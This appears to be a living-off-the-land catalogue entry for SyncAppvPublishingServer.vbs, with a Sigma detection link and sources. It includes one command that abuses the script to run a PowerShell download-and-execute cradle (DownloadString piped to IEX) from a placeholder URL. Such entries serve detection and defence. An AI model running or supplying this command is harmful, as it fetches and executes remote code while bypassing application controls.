Syncappvpublishingserver.vbs

Commands

1. ExecuteUser T1216.002

   Use Powershell host invoked from vbs script

   SyncAppvPublishingServer.vbs "n;((New-Object Net.WebClient).DownloadString('{REMOTEURL:.ps1}') | IEX"

   Inject PowerShell script code with the provided arguments

   os: Windows 10, Windows 11

   Execute: PowerShell

Detection

• Sigma https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_syncappvpublishingserver_vbs_execute_psh.yml

Resources

• https://twitter.com/monoxgas/status/895045566090010624
• https://twitter.com/subTee/status/855738126882316288